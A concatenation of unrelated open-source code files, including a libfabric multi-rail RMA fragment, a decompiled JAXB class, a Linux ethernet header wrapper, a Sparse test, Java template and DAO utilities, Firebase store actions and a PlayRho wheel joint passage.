if (flags & FI_REMOTE_CQ_DATA) {
if (req->pending_subreq > 0) {
flags &= ~FI_REMOTE_CQ_DATA;
} else {
msg.data = req->data;
}
}
ret = fi_writemsg(mrail_ep->rails[rail].ep, &msg, flags);
}
return ret;
}
static ssize_t mrail_post_req(struct mrail_req *req)
{
size_t i;
uint32_t rail;
ssize_t ret = 0;
while (req->pending_subreq >= 0) {
/* Try all rails before giving up */
for (i = 0; i < req->mrail_ep->num_eps; ++i) {
rail = mrail_get_tx_rail_rr(req->mrail_ep);
ret = mrail_post_subreq(rail,
&req->subreqs[req->pending_subreq]);
if (ret != -FI_EAGAIN) {
break;
} else {
/* One of the rails is busy. Try progressing. */
mrail_poll_cq(req->mrail_ep->util_ep.tx_cq);
}
}
if (ret != 0) {
if (ret == -FI_EAGAIN) {
break;
}
/* TODO: Handle errors besides FI_EAGAIN */
assert(0);
}
req->pending_subreq--;
}
return ret;
}
static inline
struct mrail_req *mrail_dequeue_deferred_req(struct mrail_ep *mrail_ep)
{
struct mrail_req *req;
ofi_ep_lock_acquire(&mrail_ep->util_ep);
slist_remove_head_container(&mrail_ep->deferred_reqs, struct mrail_req,
req, entry);
ofi_ep_lock_release(&mrail_ep->util_ep);
return req;
}
static inline void mrail_requeue_deferred_req(struct mrail_ep *mrail_ep,
struct mrail_req *req)
{
ofi_ep_lock_acquire(&mrail_ep->util_ep);
slist_insert_head(&req->entry, &mrail_ep->deferred_reqs);
ofi_ep_lock_release(&mrail_ep->util_ep);
}
static inline void mrail_queue_deferred_req(struct mrail_ep *mrail_ep,
struct mrail_req *req)
{
ofi_ep_lock_acquire(&mrail_ep->util_ep);
slist_insert_tail(&req->entry, &mrail_ep->deferred_reqs);
ofi_ep_lock_release(&mrail_ep->util_ep);
}
void mrail_progress_deferred_reqs(struct mrail_ep *mrail_ep)
{
struct mrail_req *req;
ssize_t ret;
req = mrail_dequeue_deferred_req(mrail_ep);
while (req) {
ret = mrail_post_req(req);
if (ret) {
mrail_requeue_deferred_req(mrail_ep, req);
break;
}
req = mrail_dequeue_deferred_req(mrail_ep);
}
}
static ssize_t mrail_prepare_rma_subreqs(struct mrail_ep *mrail_ep,
const struct fi_msg_rma *msg, struct mrail_req *req)
{
ssize_t ret;
struct mrail_subreq *subreq;
size_t subreq_count;
size_t total_len;
size_t chunk_len;
size_t subreq_len;
size_t iov_index;
size_t iov_offset;
size_t rma_iov_index;
size_t rma_iov_offset;
int i;
/* For now, stripe across all rails.
* This could be determined by a dynamic scheduler instead.
*/
subreq_count = mrail_ep->num_eps;
total_len = ofi_total_iov_len(msg->msg_iov, msg->iov_count);
chunk_len = total_len / subreq_count;
/* The first chunk is the longest */
subreq_len = chunk_len + (total_len % subreq_count);
iov_index = 0;
iov_offset = 0;
rma_iov_index = 0;
rma_iov_offset = 0;
/* The array is filled in reverse order -- i.e. first subreq at
* last position in the array. Filling the array in this order saves
* us from having to use two variables, to track the total number of
* subreqs, and to know which one to try posting next.
* Instead, a single variable (req->pending_subreq) is used to keep
* track of which subreq to post next, starting at the end of the
* array.
*/
for (i = (subreq_count - 1); i >= 0; --i) {
subreq = &req->subreqs[i];
subreq->parent = req;
ret = ofi_copy_iov_desc(subreq->iov, subreq->descs,
&subreq->iov_count,
(struct iovec *)msg->msg_iov, msg->desc,
msg->iov_count, &iov_index, &iov_offset,
subreq_len);
if (ret) {
goto out;
}
ret = ofi_copy_rma_iov(subreq->rma_iov, &subreq->rma_iov_count,
(struct fi_rma_iov *)msg->rma_iov,
msg->rma_iov_count, &rma_iov_index,
&rma_iov_offset, subreq_len);
if (ret) {
goto out;
}
/* All the other chunks have the same length */
subreq_len = chunk_len;
}
ofi_atomic_initialize32(&req->expected_subcomps, subreq_count);
/* pending_subreq is the index of the next subreq to post.
* The array was filled in reverse order in mrail_prepare_rma_subreqs()
*/
req->pending_subreq = subreq_count - 1;
out:
return ret;
}
static ssize_t mrail_init_rma_req(struct mrail_ep *mrail_ep,
struct mrail_req *req, const struct fi_msg_rma *msg,
uint64_t flags, int op_type)
{
ssize_t ret;
req->op_type = op_type;
req->flags = flags;
req->data = msg->data;
req->mrail_ep = mrail_ep;
req->peer_info = ofi_av_get_addr(mrail_ep->util_ep.av,
(int) msg->addr);
req->comp.op_context = msg->context;
req->comp.flags = flags;
ret = mrail_prepare_rma_subreqs(mrail_ep, msg, req);
if (ret) {
FI_WARN(&mrail_prov, FI_LOG_EP_DATA,
"Unable to prepare rma subreqs: %s\n",
fi_strerror(-ret));
}
return ret;
}
static ssize_t mrail_ep_post_rma(struct fid_ep *ep_fid,
const struct fi_msg_rma *msg, uint64_t flags, int op_type)
{
ssize_t ret;
struct mrail_ep *mrail_ep;
struct mrail_req *req;
mrail_ep = container_of(ep_fid, struct mrail_ep, util_ep.ep_fid.fid);
req = mrail_alloc_req(mrail_ep);
if (!req) {
return -FI_ENOMEM;
}
ret = mrail_init_rma_req(mrail_ep, req, msg, flags, op_type);
if (ret) {
mrail_free_req(mrail_ep, req);
return ret;
}
mrail_queue_deferred_req(mrail_ep, req);
/* Initiate progress here. See mrail_ep_progress() for any remaining
* reqs.
*/
mrail_progress_deferred_reqs(mrail_ep);
return 0;
}
static ssize_t mrail_ep_readmsg(struct fid_ep *ep_fid,
const struct fi_msg_rma *msg, uint64_t flags)
{
return mrail_ep_post_rma(ep_fid, msg, flags, FI_READ);
}
/* TODO: separate the different operations to optimize performance */
static ssize_t mrail_ep_read(struct fid_ep *ep_fid, void *buf, size_t len,
void *desc, fi_addr_t src_addr, uint64_t addr,
uint64_t key, void *context)
{
struct mrail_ep *mrail_ep;
struct iovec iovec = {
.iov_base = (void*)buf,
.iov_len = len
};
struct fi_rma_iov rma_iov= {
.addr = addr,
.len = len,
.key = key
};
struct fi_msg_rma msg = {
.msg_iov = &iovec,
.desc = &desc,
.iov_count = 1,
.addr = src_addr,
.rma_iov = &rma_iov,
.rma_iov_count = 1,
.context = context,
.data = 0
};
mrail_ep = container_of(ep_fid, struct mrail_ep, util_ep.ep_fid.fid);
return mrail_ep_readmsg(ep_fid, &msg, mrail_ep->util_ep.tx_op_flags);
}
static ssize_t mrail_ep_writemsg(struct fid_ep *ep_fid,
const struct fi_msg_rma *msg, uint64_t flags)
{
return mrail_ep_post_rma(ep_fid, msg, flags, FI_WRITE);
}
static ssize_t mrail_ep_write(struct fid_ep *ep_fid, const void *buf,
size_t len, void *desc, fi_addr_t dest_addr, uint64_t addr,
uint64_t key, void *context)
{
struct mrail_ep *mrail_ep;
struct iovec iovec = {
.iov_base = (void*)buf,
.iov_len = len
};
struct fi_rma_iov rma_iov= {
.addr = addr,
.len = len,
.key = key
};
struct fi_msg_rma msg = {
.msg_iov = &iovec,
.desc = &desc,
.iov_count = 1,
.addr = dest_addr,
.rma_iov = &rma_iov,
.rma_iov_count = 1,
.context = context,
.data = 0
};
mrail_ep = container_of(ep_fid, struct mrail_ep, util_ep.ep_fid.fid);
return mrail_ep_writemsg(ep_fid, &msg, mrail_ep->util_ep.tx_op_flags);
}
static ssize_t mrail_ep_inject_write(struct fid_ep *ep_fid, const void *buf,
size_t len, fi_addr_t dest_addr, uint64_t addr, uint64_t key)
{
struct mrail_ep *mrail_ep;
struct mrail_addr_key *mr_map;
uint32_t rail;
ssize_t ret;
mrail_ep = container_of(ep_fid, struct mrail_ep, util_ep.ep_fid.fid);
mr_map = (struct mrail_addr_key *) key;
rail = mrail_get_tx_rail_rr(mrail_ep);
ret = fi_inject_write(mrail_ep->rails[rail].ep, buf, len,
dest_addr, addr, mr_map[rail].key);
if (ret) {
FI_WARN(&mrail_prov, FI_LOG_EP_DATA,
"Unable to post inject write on rail: %" PRIu32 "\n",
rail);
return ret;
}
ofi_ep_wr_cntr_inc(&mrail_ep->util_ep);
return 0;
}
struct fi_ops_rma mrail_ops_rma = {
.size = sizeof (struct fi_ops_rma),
.read = mrail_ep_read,
.readv = fi_no_rma_readv,
.readmsg = mrail_ep_readmsg,
.write = mrail_ep_write,
.writev = fi_no_rma_writev,
.writemsg = mrail_ep_writemsg,
.inject = mrail_ep_inject_write,
.writedata = fi_no_rma_writedata,
.injectdata = fi_no_rma_injectdata,
};
|
liccoCode/amazon-mws | src/main/java/com/elcuk/jaxb/Override.java | /* */ package com.elcuk.jaxb;
/* */
/* */ import java.util.ArrayList;
/* */ import java.util.List;
/* */ import javax.xml.bind.annotation.XmlAccessType;
/* */ import javax.xml.bind.annotation.XmlAccessorType;
/* */ import javax.xml.bind.annotation.XmlElement;
/* */ import javax.xml.bind.annotation.XmlRootElement;
/* */ import javax.xml.bind.annotation.XmlType;
/* */ import javax.xml.bind.annotation.adapters.NormalizedStringAdapter;
/* */ import javax.xml.bind.annotation.adapters.XmlJavaTypeAdapter;
/* */
/* */ @XmlAccessorType(XmlAccessType.FIELD)
/* */ @XmlType(name="", propOrder={"sku", "shippingOverride"})
/* */ @XmlRootElement(name="Override")
/* */ public class Override
/* */ {
/* */
/* */ @XmlElement(name="SKU", required=true)
/* */ @XmlJavaTypeAdapter(NormalizedStringAdapter.class)
/* */ protected String sku;
/* */
/* */ @XmlElement(name="ShippingOverride")
/* */ protected List<ShippingOverride> shippingOverride;
/* */
/* */ public String getSKU()
/* */ {
/* 82 */ return this.sku;
/* */ }
/* */
/* */ public void setSKU(String value)
/* */ {
/* 94 */ this.sku = value;
/* */ }
/* */
/* */ public List<ShippingOverride> getShippingOverride()
/* */ {
/* 120 */ if (this.shippingOverride == null) {
/* 121 */ this.shippingOverride = new ArrayList();
/* */ }
/* 123 */ return this.shippingOverride;
/* */ }
/* */
/* */ @XmlAccessorType(XmlAccessType.FIELD)
/* */ @XmlType(name="", propOrder={"shipOption", "isShippingRestricted", "type", "shipAmount"})
/* */ public static class ShippingOverride
/* */ {
/* */
/* */ @XmlElement(name="ShipOption", required=true)
/* */ @XmlJavaTypeAdapter(NormalizedStringAdapter.class)
/* */ protected String shipOption;
/* */
/* */ @XmlElement(name="IsShippingRestricted")
/* */ protected Boolean isShippingRestricted;
/* */
/* */ @XmlElement(name="Type")
/* */ protected String type;
/* */
/* */ @XmlElement(name="ShipAmount")
/* */ protected CurrencyAmount shipAmount;
/* */
/* */ public String getShipOption()
/* */ {
/* 188 */ return this.shipOption;
/* */ }
/* */
/* */ public void setShipOption(String value)
/* */ {
/* 200 */ this.shipOption = value;
/* */ }
/* */
/* */ public Boolean isIsShippingRestricted()
/* */ {
/* 212 */ return this.isShippingRestricted;
/* */ }
/* */
/* */ public void setIsShippingRestricted(Boolean value)
/* */ {
/* 224 */ this.isShippingRestricted = value;
/* */ }
/* */
/* */ public String getType()
/* */ {
/* 236 */ return this.type;
/* */ }
/* */
/* */ public void setType(String value)
/* */ {
/* 248 */ this.type = value;
/* */ }
/* */
/* */ public CurrencyAmount getShipAmount()
/* */ {
/* 260 */ return this.shipAmount;
/* */ }
/* */
/* */ public void setShipAmount(CurrencyAmount value)
/* */ {
/* 272 */ this.shipAmount = value;
/* */ }
/* */ }
/* */ }
/* Location: /Users/mac/Desktop/jaxb/
* Qualified Name: com.elcuk.jaxb.Override
* JD-Core Version: 0.6.2
*/ |
falgon/srookCppLibraries | srook/config/environment/os/linux/net/if_ether.hpp | <filename>srook/config/environment/os/linux/net/if_ether.hpp<gh_stars>1-10
// Copyright (C) 2011-2020 Roki. Distributed under the MIT License
#ifndef INCLUDED_SROOK_CONFIG_ENVIRONMENT_OS_LINUX_NET_IF_ETHER_HPP
#define INCLUDED_SROOK_CONFIG_ENVIRONMENT_OS_LINUX_NET_IF_ETHER_HPP
#ifdef __linux__
#ifndef _LINUX_IF_ETHER_H
# include <linux/if_ether.h>
#endif
#include <srook/config/feature/nested_namespace.hpp>
#include <srook/config/feature/inline_namespace.hpp>
#include <srook/config/feature/inline_variable.hpp>
#include <srook/config/feature/constexpr.hpp>
#include <srook/config/feature/strong_enum.hpp>
#include <srook/cstdint.hpp>
SROOK_NESTED_NAMESPACE(srook, environment, linux) {
SROOK_INLINE_NAMESPACE(v1)
struct info;
struct protocol;
struct ethernet_traits {
#define SROOK_DECL_STATIC_CONS static SROOK_INLINE_VARIABLE SROOK_CONSTEXPR_OR_CONST
typedef std::size_t size_type;
SROOK_DECL_STATIC_CONS size_type addr_size = ETH_ALEN;
SROOK_DECL_STATIC_CONS size_type oct_head_size = ETH_HLEN;
SROOK_DECL_STATIC_CONS size_type oct_frame_min = ETH_ZLEN;
SROOK_DECL_STATIC_CONS size_type oct_data_max = ETH_DATA_LEN;
SROOK_DECL_STATIC_CONS size_type oct_frame_max = ETH_FRAME_LEN;
SROOK_DECL_STATIC_CONS size_type oct_fcs_size = ETH_FCS_LEN;
SROOK_DECL_STATIC_CONS size_type mtu_min = ETH_MIN_MTU;
SROOK_DECL_STATIC_CONS size_type mtu_max = ETH_MAX_MTU;
SROOK_STRONG_ENUM_BEGIN (protocols) {
loop = ETH_P_LOOP,
pup = ETH_P_PUP,
pupat = ETH_P_PUPAT,
tsn = ETH_P_TSN,
ip = ETH_P_IP,
x25 = ETH_P_X25,
arp = ETH_P_ARP,
bpq = ETH_P_BPQ,
ieeepup = ETH_P_IEEEPUP,
ieeepupat = ETH_P_IEEEPUPAT,
batman = ETH_P_BATMAN,
dec = ETH_P_DEC,
dna_dl = ETH_P_DNA_DL,
dna_rc = ETH_P_DNA_RC,
dna_rt = ETH_P_DNA_RT,
lat = ETH_P_LAT,
diag = ETH_P_DIAG,
cust = ETH_P_CUST,
sca = ETH_P_SCA,
teb = ETH_P_TEB,
rarp = ETH_P_RARP,
atalk = ETH_P_ATALK,
aarp = ETH_P_AARP,
q8021 = ETH_P_8021Q,
ipx = ETH_P_IPX,
ipv6 = ETH_P_IPV6,
pause = ETH_P_PAUSE,
slow = ETH_P_SLOW,
wccp = ETH_P_WCCP,
mpls_uc = ETH_P_MPLS_UC,
mpls_mc = ETH_P_MPLS_MC,
atmmpoa = ETH_P_ATMMPOA,
ppp_disc = ETH_P_PPP_DISC,
ppp_ses = ETH_P_PPP_SES,
link_ctl = ETH_P_LINK_CTL,
atm_fate = ETH_P_ATMFATE,
pae = ETH_P_PAE,
aoe = ETH_P_AOE,
ad8021 = ETH_P_8021AD,
ex1_802 = ETH_P_802_EX1,
tipc = ETH_P_TIPC,
macsec = ETH_P_MACSEC,
ah8021 = ETH_P_8021AH,
mvrp = ETH_P_MVRP,
ieee1588 = ETH_P_1588,
ncsi = ETH_P_NCSI,
prp = ETH_P_PRP,
fcoe = ETH_P_FCOE,
iboe = ETH_P_IBOE,
tdls = ETH_P_TDLS,
fip = ETH_P_FIP,
ieee80221 = ETH_P_80221,
hsr = ETH_P_HSR,
ieee802_3_loopback = ETH_P_LOOPBACK,
qinq1 = ETH_P_QINQ1,
qinq2 = ETH_P_QINQ2,
qinq3 = ETH_P_QINQ3,
edsa = ETH_P_EDSA,
af_iucv = ETH_P_AF_IUCV,
all = ETH_P_ALL,
frame_802_2 = ETH_P_802_2,
snap = ETH_P_SNAP,
ddcmp = ETH_P_DDCMP,
wan_ppp = ETH_P_WAN_PPP,
ppp_mp = ETH_P_PPP_MP,
localtalk = ETH_P_LOCALTALK,
can = ETH_P_CAN,
canfd = ETH_P_CANFD,
ppptalk = ETH_P_PPPTALK,
tr802_2 = ETH_P_TR_802_2,
mobitex = ETH_P_MOBITEX,
control = ETH_P_CONTROL,
irda = ETH_P_IRDA,
econet = ETH_P_ECONET,
hdlc = ETH_P_HDLC,
arcnet = ETH_P_ARCNET,
dsa = ETH_P_DSA,
trailer = ETH_P_TRAILER,
phonet = ETH_P_PHONET,
ieee802154 = ETH_P_IEEE802154,
caif = ETH_P_CAIF,
xdsa = ETH_P_XDSA
};
SROOK_STRONG_ENUM_EPILOG(protocols)
srook::uint16_t p802_3_min = ETH_P_802_3_MIN;
};
SROOK_INLINE_NAMESPACE_END
} SROOK_NESTED_NAMESPACE_END(linux, environment, srook)
#undef SROOK_DECL_STATIC_CONS
#endif
#endif
|
silver-snoopy/material-ui | packages/material-ui-icons/src/BathroomRounded.js | import * as React from 'react';
import createSvgIcon from './utils/createSvgIcon';
export default createSvgIcon(
<path d="M20 2H4c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zM9 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1zm0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1zm3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1zm0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1zm3 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1zm0-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1zm-8-4c0-2.76 2.24-5 5-5s5 2.24 5 5c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1z" />
, 'BathroomRounded');
|
sanfusu/Sparse | validation/range-syntax.c |
static void ok(int a, int b, int c)
{
__range__(a, 0, 8);
__range__(a, b, c);
}
static void ko(int a, int b, int c)
{
__range__ a, 0, 8;
__range__ a, b, c;
}
/*
* check-name: range syntax
*
* check-error-start
range-syntax.c:10:19: error: Expected ( after __range__ statement
range-syntax.c:10:19: error: got a
range-syntax.c:11:19: error: Expected ( after __range__ statement
range-syntax.c:11:19: error: got a
* check-error-end
*/
|
lonele/api-gen | src/main/java/com/jiadao/util/TemplateUtil.java | <gh_stars>0
package com.jiadao.util;
import java.text.MessageFormat;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class TemplateUtil {
public static void main(String[] args) {
Object[] obj = new Object[]{"张三", String.format("%.2f", 10.155), 10};
System.out.println(processFormat("您好%s,晚上好!您目前余额:%s元,积分:%d", obj));
System.out.println(processMessage("您好{0},晚上好!您目前余额:{1}元,积分:{2}", obj));
Map map = new HashMap();
map.put("name", "张三");
map.put("money", String.format("%.2f", 10.155));
map.put("point", 10);
System.out.println(processTemplate("您好${name},晚上好!您目前余额:${money}元,积分:${point}", map));
// System.out.println(processFreemarker("您好${name},晚上好!您目前余额:${money}元,积分:${point}", map));
}
/**
* String.format渲染模板
* @param template 模版
* @param params 参数
* @return
*/
public static String processFormat(String template, Object... params) {
if (template == null || params == null)
return null;
return String.format(template, params);
}
/**
* MessageFormat渲染模板
* @param template 模版
* @param params 参数
* @return
*/
public static String processMessage(String template, Object... params) {
if (template == null || params == null)
return null;
return MessageFormat.format(template, params);
}
/**
* 简单实现${}模板功能
* 如${aa} cc ${bb} 其中 ${aa}, ${bb} 为占位符. 可用相关变量进行替换
* @param template 模板字符串
* @param params 替换的变量值
* @param defaultNullReplaceVals 默认null值替换字符, 如果不提供, 则为字符串""
* @return 返回替换后的字符串, 如果模板字符串为null, 则返回null
*/
public static String processTemplate(String template, Map<String, Object> params) {
if (template == null)
return null;
if ( params == null){
params = Collections.emptyMap();
}
StringBuffer sb = new StringBuffer(template.length());
Matcher matcher = Pattern.compile("\\$\\{(\\w+)\\}").matcher(template);
while (matcher.find()) {
String param = matcher.group(1);
Object value = params.get(param);
matcher.appendReplacement(sb, value == null ? "{"+param+" not found}" : value.toString());
}
matcher.appendTail(sb);
return sb.toString();
}
/**
* 简单实现${}模板功能
* 如${aa} cc ${bb} 其中 ${aa}, ${bb} 为占位符. 可用相关变量进行替换
* @param templateStr 模板字符串
* @param data 替换的变量值
* @param defaultNullReplaceVals 默认null值替换字符, 如果不提供, 则为字符串""
* @return 返回替换后的字符串, 如果模板字符串为null, 则返回null
*/
@SuppressWarnings("unchecked")
public static String simpleTemplate(String templateStr, Map<String, ?> data, String... defaultNullReplaceVals) {
if(templateStr == null) return null;
if(data == null) data = Collections.EMPTY_MAP;
String nullReplaceVal = defaultNullReplaceVals.length > 0 ? defaultNullReplaceVals[0] : "";
// Pattern pattern = Pattern.compile("\\$\\{([^}]+)}");
Pattern pattern = Pattern.compile("\\$\\{(\\w+)}");
StringBuffer newValue = new StringBuffer(templateStr.length());
Matcher matcher = pattern.matcher(templateStr);
while (matcher.find()) {
String key = matcher.group(1);
String r = data.get(key) != null ? data.get(key).toString() : nullReplaceVal;
matcher.appendReplacement(newValue, r.replaceAll("\\\\", "\\\\\\\\")); //这个是为了替换windows下的文件目录在java里用\\表示
}
matcher.appendTail(newValue);
return newValue.toString();
}
// public static Configuration cfg;
// static {
// cfg = new Configuration(new Version("2.3.23"));
// }
// /**
// * Freemarker渲染模板
// * @param template 模版
// * @param params 参数
// * @return
// */
// public static String processFreemarker(String template, Map<String, Object> params) {
// if (template == null || params == null)
// return null;
// try {
// StringWriter result = new StringWriter();
// Template tpl = new Template("strTpl", template, cfg);
// tpl.process(params, result);
// return result.toString();
// } catch (Exception e) {
// return null;
// }
// }
} |
dewarim/cinnamon4 | src/main/java/com/dewarim/cinnamon/dao/OsdMetaDao.java | package com.dewarim.cinnamon.dao;
import com.dewarim.cinnamon.ErrorCode;
import com.dewarim.cinnamon.FailedRequestException;
import com.dewarim.cinnamon.application.ThreadLocalSqlSession;
import com.dewarim.cinnamon.model.Meta;
import com.dewarim.cinnamon.model.MetasetType;
import com.dewarim.cinnamon.model.request.CreateMetaRequest;
import org.apache.ibatis.exceptions.PersistenceException;
import org.apache.ibatis.session.SqlSession;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class OsdMetaDao implements CrudDao<Meta>{
public List<Meta> listByOsd(long id) {
SqlSession sqlSession = ThreadLocalSqlSession.getSqlSession();
return sqlSession.selectList("com.dewarim.cinnamon.model.OsdMeta.listByOsd", id);
}
public List<Meta> getMetaByNamesAndOsd(List<String> names, long id) {
SqlSession sqlSession = ThreadLocalSqlSession.getSqlSession();
Map<String, Object> params = new HashMap<>();
params.put("id", id);
params.put("typeNames", names);
return sqlSession.selectList("com.dewarim.cinnamon.model.OsdMeta.getMetasetsByNameAndOsd", params);
}
// TODO: the DAO should receive ready-to-persist Meta objects, not metaRequest.
public Meta createMeta(CreateMetaRequest metaRequest, MetasetType metaType) {
SqlSession sqlSession = ThreadLocalSqlSession.getSqlSession();
Meta osdMeta = new Meta(metaRequest.getId(), metaType.getId(), metaRequest.getContent());
int resultRows = sqlSession.insert("com.dewarim.cinnamon.model.OsdMeta.insert", osdMeta);
if (resultRows != 1) {
// TODO: should not throw RuntimeException - see CrudDao for better exceptions
throw new RuntimeException("Create OsdMeta failed.");
}
return osdMeta;
}
@Override
public String getTypeClassName() {
return "com.dewarim.cinnamon.model.OsdMeta";
}
@Override
public String getMapperNamespace(SqlAction action) {
return CrudDao.super.getMapperNamespace(action);
}
public void deleteByOsdIds(List<Long> osdIdsToToDelete) {
SqlSession sqlSession = ThreadLocalSqlSession.getSqlSession();
List<List<Long>> partitions = CrudDao.partitionLongList(osdIdsToToDelete);
partitions.forEach(partition -> {
try {
sqlSession.delete("com.dewarim.cinnamon.model.OsdMeta.deleteByOsdIds", partition);
}
catch (PersistenceException e){
throw new FailedRequestException(ErrorCode.DB_DELETE_FAILED, e);
}
});
}
}
|
ThanhZoro/tnt-project | store/modules/setting/_store/actions.js | <filename>store/modules/setting/_store/actions.js
import _ from 'lodash'
import firebase from 'firebase'
const setCategory = async (context,request) =>{
context.commit('SET_CATEGORY', { data: request ? request.data : [], total: request ? request.total : 0 });
}
const editCategory = async (context, request) => {
var formData = {
name: request.name,
weight: request.weight ? request.weight : 69,
}
await firebase.database().ref('category').child(request.id).update(formData)
.catch((err) => {
console.log(err.message)
})
};
const setArea = async (context,request) =>{
context.commit('SET_AREA', { data: request ? request.data : [], total: request ? request.total : 0 });
}
const editArea = async (context, request) => {
var formData = {
name: request.name,
weight: request.weight ? request.weight : 69,
}
await firebase.database().ref('area').child(request.id).update(formData)
.catch((err) => {
console.log(err.message)
})
};
export default {
setCategory,
editCategory,
setArea,
editArea
};
|
shybovycha/PlayRho | PlayRho/Dynamics/Joints/WheelJointConf.cpp | /*
* Original work Copyright (c) 2006-2007 <NAME> http://www.box2d.org
* Modified work Copyright (c) 2017 <NAME> https://github.com/louis-langholtz/PlayRho
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
*
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
* 2. Altered source versions must be plainly marked as such, and must not be
* misrepresented as being the original software.
* 3. This notice may not be removed or altered from any source distribution.
*/
#include <PlayRho/Dynamics/Joints/WheelJointConf.hpp>
#include <PlayRho/Dynamics/Joints/Joint.hpp>
#include <PlayRho/Dynamics/WorldBody.hpp>
#include <PlayRho/Dynamics/StepConf.hpp>
#include <PlayRho/Dynamics/Contacts/BodyConstraint.hpp>
#include <PlayRho/Dynamics/Contacts/ContactSolver.hpp> // for ConstraintSolverConf
namespace playrho {
namespace d2 {
static_assert(std::is_default_constructible<WheelJointConf>::value,
"WheelJointConf should be default constructible!");
static_assert(std::is_copy_constructible<WheelJointConf>::value,
"WheelJointConf should be copy constructible!");
static_assert(std::is_copy_assignable<WheelJointConf>::value,
"WheelJointConf should be copy assignable!");
static_assert(std::is_move_constructible<WheelJointConf>::value,
"WheelJointConf should be move constructible!");
static_assert(std::is_move_assignable<WheelJointConf>::value,
"WheelJointConf should be move assignable!");
static_assert(std::is_nothrow_destructible<WheelJointConf>::value,
"WheelJointConf should be nothrow destructible!");
// Linear constraint (point-to-line)
// d = pB - pA = xB + rB - xA - rA
// C = dot(ay, d)
// Cdot = dot(d, cross(wA, ay)) + dot(ay, vB + cross(wB, rB) - vA - cross(wA, rA))
// = -dot(ay, vA) - dot(cross(d + rA, ay), wA) + dot(ay, vB) + dot(cross(rB, ay), vB)
// J = [-ay, -cross(d + rA, ay), ay, cross(rB, ay)]
// Spring linear constraint
// C = dot(ax, d)
// Cdot = = -dot(ax, vA) - dot(cross(d + rA, ax), wA) + dot(ax, vB) + dot(cross(rB, ax), vB)
// J = [-ax -cross(d+rA, ax) ax cross(rB, ax)]
// Motor rotational constraint
// Cdot = wB - wA
// J = [0 0 -1 0 0 1]
WheelJointConf::WheelJointConf(BodyID bA, BodyID bB, Length2 laA, Length2 laB,
UnitVec axis) noexcept:
super{super{}.UseBodyA(bA).UseBodyB(bB)},
localAnchorA{laA}, localAnchorB{laB},
localXAxisA{axis}, localYAxisA{GetRevPerpendicular(axis)}
{
// Intentionally empty.
}
WheelJointConf GetWheelJointConf(const Joint& joint)
{
return TypeCast<WheelJointConf>(joint);
}
WheelJointConf GetWheelJointConf(const World& world, BodyID bodyA, BodyID bodyB,
Length2 anchor, UnitVec axis)
{
return WheelJointConf{
bodyA, bodyB,
GetLocalPoint(world, bodyA, anchor), GetLocalPoint(world, bodyB, anchor),
GetLocalVector(world, bodyA, axis)};
}
AngularVelocity GetAngularVelocity(const World& world, const WheelJointConf& conf)
{
return GetVelocity(world, GetBodyB(conf)).angular
- GetVelocity(world, GetBodyA(conf)).angular;
}
void InitVelocity(WheelJointConf& object, std::vector<BodyConstraint>& bodies,
const StepConf& step,
const ConstraintSolverConf&)
{
auto& bodyConstraintA = At(bodies, GetBodyA(object));
auto& bodyConstraintB = At(bodies, GetBodyB(object));
const auto posA = bodyConstraintA.GetPosition();
auto velA = bodyConstraintA.GetVelocity();
const auto invMassA = bodyConstraintA.GetInvMass();
const auto invRotInertiaA = bodyConstraintA.GetInvRotInertia();
const auto posB = bodyConstraintB.GetPosition();
auto velB = bodyConstraintB.GetVelocity();
const auto invMassB = bodyConstraintB.GetInvMass();
const auto invRotInertiaB = bodyConstraintB.GetInvRotInertia();
const auto qA = UnitVec::Get(posA.angular);
const auto qB = UnitVec::Get(posB.angular);
// Compute the effective masses.
const auto rA = Length2{Rotate(object.localAnchorA - bodyConstraintA.GetLocalCenter(), qA)};
const auto rB = Length2{Rotate(object.localAnchorB - bodyConstraintB.GetLocalCenter(), qB)};
const auto dd = Length2{(posB.linear + rB) - (posA.linear + rA)};
// Point to line constraint
{
object.ay = Rotate(object.localYAxisA, qA);
object.sAy = Cross(dd + rA, object.ay);
object.sBy = Cross(rB, object.ay);
const auto invRotMassA = invRotInertiaA * Square(object.sAy) / SquareRadian;
const auto invRotMassB = invRotInertiaB * Square(object.sBy) / SquareRadian;
const auto invMass = invMassA + invMassB + invRotMassA + invRotMassB;
object.mass = (invMass > InvMass{0})? Real{1} / invMass: 0;
}
// Spring constraint
object.springMass = 0_kg;
object.bias = 0;
object.gamma = 0;
if (object.frequency > 0_Hz)
{
object.ax = Rotate(object.localXAxisA, qA);
object.sAx = Cross(dd + rA, object.ax);
object.sBx = Cross(rB, object.ax);
const auto invRotMassA = invRotInertiaA * Square(object.sAx) / SquareRadian;
const auto invRotMassB = invRotInertiaB * Square(object.sBx) / SquareRadian;
const auto invMass = invMassA + invMassB + invRotMassA + invRotMassB;
if (invMass > InvMass{0})
{
object.springMass = Real{1} / invMass;
const auto C = Length{Dot(dd, object.ax)};
// Frequency
const auto omega = Real{2} * Pi * object.frequency;
// Damping coefficient
const auto d = Real{2} * object.springMass * object.dampingRatio * omega;
// Spring stiffness
const auto k = object.springMass * omega * omega;
// magic formulas
const auto h = step.deltaTime;
const auto invGamma = Mass{h * (d + h * k)};
object.gamma = (invGamma > 0_kg)? Real{1} / invGamma: 0;
object.bias = LinearVelocity{C * h * k * object.gamma};
const auto totalInvMass = invMass + object.gamma;
object.springMass = (totalInvMass > InvMass{0})? Real{1} / totalInvMass: 0_kg;
}
}
else
{
object.springImpulse = 0;
object.ax = UnitVec::GetZero();
